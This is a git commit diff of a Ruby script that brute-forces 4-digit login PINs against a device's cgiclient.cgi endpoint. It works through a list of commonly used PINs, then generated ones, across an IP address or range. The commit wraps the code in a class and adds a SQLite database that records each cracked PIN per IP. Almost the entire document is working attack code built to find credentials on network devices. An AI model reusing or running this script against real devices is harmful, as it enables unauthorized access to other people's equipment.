turning into a class, adding a db - it's almost a real project

This commit is contained in:
Conor Horan-Kates 2016-07-19 07:23:12 -07:00
parent a6cf118018
commit 3dd7b04e9e

View File

@ -3,8 +3,39 @@
require 'json'
require 'net/http'
require 'sequel'
require 'uri'
class BfLogin
attr_reader :address, :dbh, :errors, :responses
def initialize(address)
@address = address
@errors = Array.new
@responses = Array.new
db = 'bf_login.db'
@dbh = Sequel.connect(sprintf('sqlite://%s', db))
end
def initialize_db
@db.create_table? :pins do
primary_key :id
String :ip
String :pin
Date :created
end
end
def add_pin_to_db(ip, pin)
@dbh[:pins].insert(
:ip => ip,
:pin => pin,
:created => Time.now,
)
end
# return a Net::HTTP::Post request suitable for validating +pin+
def get_request(uri, pin)
request = Net::HTTP::Post.new(uri.request_uri)
@ -33,24 +64,24 @@ def get_request(uri, pin)
request
end
# return a Net::HTTP::Response object
# return True|False
def check_pin(url, pin)
uri = URI.parse(url)
http = Net::HTTP.new(uri.host, uri.port)
request = get_request(uri, pin)
http.request(request)
response = http.request(request)
# <properties sys.validate-password="0"></properties>
response.body.match(/1/) ? true : false
end
end
#
## main()
address = ARGV.pop
errors = Array.new
responses = Array.new
output = sprintf('%s-logs-%s.%s.%s.json', __FILE__, address, Time.now.to_i, $$)
if address.nil?
puts sprintf('usage: %s <ipaddress/range>', __FILE__)
puts sprintf(' %s 192.168.1.42', __FILE__)
@ -77,7 +108,7 @@ end
prioritized = [1234, 2546, 1739, 9876, 1425, 4152] # commonly used PINs
# TODO come up with way to generate patterns - keys that are nearby
# TODO come up with way to generate patterns - keys that are nearby, incremental/decremental ranges
# commonly used PINs that follow a pattern
0.upto(9) do |i|
@ -93,6 +124,7 @@ pins = [ prioritized, _pins.keys ].flatten # hackery
targets.each do |target|
app = BfLogin.new(target)
url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', target)
puts sprintf('url: [%s]', url)
@ -104,11 +136,11 @@ targets.each do |target|
puts sprintf(' trying pin[%s]', pin)
response = check_pin(url, pin)
responses << response
responses << { :ip => target, :pin => pin, :results => response }
# <properties sys.validate-password="0"></properties>
if response.body.match(/1/)
puts sprintf('INFO: found the pin[%s]', pin)
if response
app.add_pin_to_db(target, pin)
puts sprintf('INFO: found PIN[%s] for [%s]', pin, target)
break
end
@ -121,12 +153,16 @@ targets.each do |target|
end
end
end
# TODO something better here
unless errors.empty?
errors.each do |e|
puts sprintf('ERROR: pin[%s] trace[%s]', e[:pin], e[:exception])
end
puts sprintf('ERROR: [%d] total errors', errors.size)
exit 1 unless errors.empty?
else
# TODO this is going to get lost in the console output when running against multiple targets -- should we stop printing the PINs attempted?
puts sprintf('tested[%s] PINs, found correct one[%s]', responses.size, )
end
end